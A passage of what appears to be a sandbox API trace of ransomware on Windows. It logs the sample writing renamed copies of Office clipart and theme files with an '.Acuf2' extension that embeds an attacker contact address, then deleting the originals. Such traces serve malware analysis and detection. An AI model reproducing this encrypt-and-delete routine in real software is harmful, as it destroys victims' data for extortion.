	[0255.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63
	[0255.976] lstrlenW (lpString=".1cd") returned 4
	[0255.976] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63
	[0255.976] lstrlenW (lpString=".jpg") returned 4
	[0255.976] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.976] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.976] lstrlenW (lpString="URBAN_01.MID") returned 12
	[0255.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0255.976] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=13358) returned 1
	[0255.976] CloseHandle (hObject=0x29c) returned 1
	[0255.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid")) returned 0x20
	[0255.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0255.977] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.977] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0256.094] GetLastError () returned 0x0
	[0256.094] ReadFile (in: hFile=0x29c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x342e, lpOverlapped=0x0) returned 1
	[0256.118] WriteFile (in: hFile=0x33c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x3430, lpOverlapped=0x0) returned 1
	[0256.119] ReadFile (in: hFile=0x29c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.119] WriteFile (in: hFile=0x33c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.119] SetEndOfFile (hFile=0x33c) returned 1
	[0256.119] CloseHandle (hObject=0x33c) returned 1
	[0256.120] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.120] SetEndOfFile (hFile=0x29c) returned 1
	[0256.122] CloseHandle (hObject=0x29c) returned 1
	[0256.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid")) returned 1
	[0256.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63
	[0256.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63
	[0256.235] lstrlenW (lpString=".doc") returned 4
	[0256.235] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0256.244] lstrlenW (lpString=".docx") returned 5
	[0256.244] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0256.244] lstrlenW (lpString=".pdf") returned 4
	[0256.246] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0256.247] lstrlenW (lpString=".xls") returned 4
	[0256.247] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0256.247] lstrlenW (lpString=".xlsx") returned 5
	[0256.247] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0256.247] lstrlenW (lpString=".ppt") returned 4
	[0256.247] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0256.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63
	[0256.247] lstrlenW (lpString=".zip") returned 4
	[0256.247] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0256.247] lstrlenW (lpString=".rar") returned 4
	[0256.247] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0256.247] lstrlenW (lpString=".bz2") returned 4
	[0256.247] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0256.247] lstrlenW (lpString=".7z") returned 3
	[0256.247] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0256.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63
	[0256.260] lstrlenW (lpString=".dbf") returned 4
	[0256.260] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0256.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63
	[0256.260] lstrlenW (lpString=".1cd") returned 4
	[0256.260] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0256.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63
	[0256.260] lstrlenW (lpString=".jpg") returned 4
	[0256.261] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0256.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63
	[0256.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63
	[0256.261] lstrlenW (lpString=".doc") returned 4
	[0256.261] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0256.261] lstrlenW (lpString=".docx") returned 5
	[0256.261] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0256.261] lstrlenW (lpString=".pdf") returned 4
	[0256.261] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0256.261] lstrlenW (lpString=".xls") returned 4
	[0256.261] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0256.261] lstrlenW (lpString=".xlsx") returned 5
	[0256.261] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0256.261] lstrlenW (lpString=".ppt") returned 4
	[0256.261] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0256.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63
	[0256.261] lstrlenW (lpString=".zip") returned 4
	[0256.261] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0256.261] lstrlenW (lpString=".rar") returned 4
	[0256.261] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0256.261] lstrlenW (lpString=".bz2") returned 4
	[0256.261] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0256.261] lstrlenW (lpString=".7z") returned 3
	[0256.261] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0256.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63
	[0256.261] lstrlenW (lpString=".dbf") returned 4
	[0256.261] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0256.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63
	[0256.261] lstrlenW (lpString=".1cd") returned 4
	[0256.261] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0256.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63
	[0256.262] lstrlenW (lpString=".jpg") returned 4
	[0256.262] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0256.262] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0256.262] lstrlenW (lpString="Apothecary.eftx") returned 15
	[0256.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0256.286] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=49025) returned 1
	[0256.286] CloseHandle (hObject=0x28c) returned 1
	[0256.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx")) returned 0x20
	[0256.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0256.349] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.349] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0256.349] GetLastError () returned 0x0
	[0256.349] ReadFile (in: hFile=0x34c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0xbf81, lpOverlapped=0x0) returned 1
	[0256.352] WriteFile (in: hFile=0x2a4, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xbf90, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xbf90, lpOverlapped=0x0) returned 1
	[0256.353] ReadFile (in: hFile=0x34c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.353] WriteFile (in: hFile=0x2a4, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0256.353] SetEndOfFile (hFile=0x2a4) returned 1
	[0256.353] CloseHandle (hObject=0x2a4) returned 1
	[0256.353] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.353] SetEndOfFile (hFile=0x34c) returned 1
	[0256.356] CloseHandle (hObject=0x34c) returned 1
	[0256.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx")) returned 1
	[0256.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82
	[0256.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82
	[0256.357] lstrlenW (lpString=".doc") returned 4
	[0256.357] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0256.357] lstrlenW (lpString=".docx") returned 5
	[0256.357] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0256.357] lstrlenW (lpString=".pdf") returned 4
	[0256.357] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0256.357] lstrlenW (lpString=".xls") returned 4
	[0256.357] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0256.357] lstrlenW (lpString=".xlsx") returned 5
	[0256.357] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0256.357] lstrlenW (lpString=".ppt") returned 4
	[0256.357] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0256.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82
	[0256.357] lstrlenW (lpString=".zip") returned 4
	[0256.357] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0256.357] lstrlenW (lpString=".rar") returned 4
	[0256.357] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0256.357] lstrlenW (lpString=".bz2") returned 4
	[0256.357] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0256.357] lstrlenW (lpString=".7z") returned 3
	[0256.357] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0256.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82
	[0256.357] lstrlenW (lpString=".dbf") returned 4
	[0256.357] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0256.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82
	[0256.357] lstrlenW (lpString=".1cd") returned 4
	[0256.357] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0256.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82
	[0256.357] lstrlenW (lpString=".jpg") returned 4
	[0256.358] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0256.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82
	[0256.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82
	[0256.358] lstrlenW (lpString=".doc") returned 4
	[0256.358] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0256.358] lstrlenW (lpString=".docx") returned 5
	[0256.358] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0256.358] lstrlenW (lpString=".pdf") returned 4
	[0256.358] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0256.358] lstrlenW (lpString=".xls") returned 4
	[0256.358] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0256.358] lstrlenW (lpString=".xlsx") returned 5
	[0256.358] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0256.359] lstrlenW (lpString=".ppt") returned 4
	[0256.359] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0256.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82
	[0256.359] lstrlenW (lpString=".zip") returned 4
	[0256.359] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0256.359] lstrlenW (lpString=".rar") returned 4
	[0256.359] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0256.359] lstrlenW (lpString=".bz2") returned 4
	[0256.359] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0256.359] lstrlenW (lpString=".7z") returned 3
	[0256.359] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0256.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82
	[0256.359] lstrlenW (lpString=".dbf") returned 4
	[0256.359] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0256.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82
	[0256.359] lstrlenW (lpString=".1cd") returned 4
	[0256.359] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0256.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82
	[0256.359] lstrlenW (lpString=".jpg") returned 4
	[0256.359] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0256.359] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0256.359] lstrlenW (lpString="Black Tie.eftx") returned 14
	[0256.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0256.417] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=618119) returned 1
	[0256.417] CloseHandle (hObject=0x338) returned 1
	[0256.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx")) returned 0x20
	[0256.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0256.418] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.418] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0256.424] GetLastError () returned 0x0
	[0256.424] ReadFile (in: hFile=0x338, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x96e87, lpOverlapped=0x0) returned 1
	[0256.588] WriteFile (in: hFile=0x350, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x96e90, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x96e90, lpOverlapped=0x0) returned 1
	[0256.792] ReadFile (in: hFile=0x338, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.793] WriteFile (in: hFile=0x350, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0256.793] SetEndOfFile (hFile=0x350) returned 1
	[0256.793] CloseHandle (hObject=0x350) returned 1
	[0256.793] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.793] SetEndOfFile (hFile=0x338) returned 1
	[0256.952] CloseHandle (hObject=0x338) returned 1
	[0256.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx")) returned 1
	[0257.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81
	[0257.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81
	[0257.209] lstrlenW (lpString=".doc") returned 4
	[0257.209] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.209] lstrlenW (lpString=".docx") returned 5
	[0257.209] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.209] lstrlenW (lpString=".pdf") returned 4
	[0257.209] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.209] lstrlenW (lpString=".xls") returned 4
	[0257.209] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.209] lstrlenW (lpString=".xlsx") returned 5
	[0257.209] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.209] lstrlenW (lpString=".ppt") returned 4
	[0257.209] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81
	[0257.209] lstrlenW (lpString=".zip") returned 4
	[0257.209] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.209] lstrlenW (lpString=".rar") returned 4
	[0257.209] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.209] lstrlenW (lpString=".bz2") returned 4
	[0257.210] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.210] lstrlenW (lpString=".7z") returned 3
	[0257.210] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81
	[0257.210] lstrlenW (lpString=".dbf") returned 4
	[0257.210] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81
	[0257.210] lstrlenW (lpString=".1cd") returned 4
	[0257.210] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81
	[0257.210] lstrlenW (lpString=".jpg") returned 4
	[0257.210] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81
	[0257.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81
	[0257.210] lstrlenW (lpString=".doc") returned 4
	[0257.210] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.210] lstrlenW (lpString=".docx") returned 5
	[0257.210] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.210] lstrlenW (lpString=".pdf") returned 4
	[0257.210] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.210] lstrlenW (lpString=".xls") returned 4
	[0257.210] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.210] lstrlenW (lpString=".xlsx") returned 5
	[0257.210] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.210] lstrlenW (lpString=".ppt") returned 4
	[0257.210] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81
	[0257.211] lstrlenW (lpString=".zip") returned 4
	[0257.211] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.211] lstrlenW (lpString=".rar") returned 4
	[0257.211] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.211] lstrlenW (lpString=".bz2") returned 4
	[0257.211] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.211] lstrlenW (lpString=".7z") returned 3
	[0257.211] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81
	[0257.211] lstrlenW (lpString=".dbf") returned 4
	[0257.211] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81
	[0257.211] lstrlenW (lpString=".1cd") returned 4
	[0257.211] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81
	[0257.211] lstrlenW (lpString=".jpg") returned 4
